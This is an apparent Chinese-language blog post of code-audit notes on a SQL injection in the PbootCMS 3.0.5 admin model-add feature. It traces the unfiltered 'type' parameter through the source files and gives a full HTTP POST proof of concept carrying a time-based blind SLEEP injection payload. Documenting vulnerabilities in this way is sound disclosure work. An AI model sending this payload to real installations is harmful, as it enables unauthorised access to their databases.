PbootCMS SQL注入漏洞 |

本来想发3.0.4版本的搜索sql注入，但看到已经有大佬发了，去官网看了下刚更新到3.0.5不久，就去看看有没有大佬不要的洞。
这个思路和3.0.4版本的搜索sql基本上没啥区别。

代码审计

\apps\admin\controller\content\ModelController.php

\core\function\helper.php

接受到数据后会经过一系列的过滤（只能包含中文、字母、数字、水平线、点、逗号和空格）。

\apps\admin\model\content\ModelModel.php

Type参数可控最终导致了sql注入

复现

POC:

POST /admin.php?p=/Model/add HTTP/1.1
Host: pbootcms.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://pbootcms.cc/admin.php?p=/Model/index
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://pbootcms.cc
Connection: close
Cookie: Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1625620741,1625709480; lg=cn; PbootSystem=i15vq8q4g528jug6soss3shve6; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1625709480; XDEBUG_SESSION=PHPSTORM
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
formcheck=20ef862bac15666418675fc5fbd7eb4c&name=1111111&type=2 AND (SELECT 2704 FROM (SELECT(SLEEP(5)))XhYr)&urlname=1111111111111111111&listtpl=11111111&contenttpl=11111111&status=1

jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true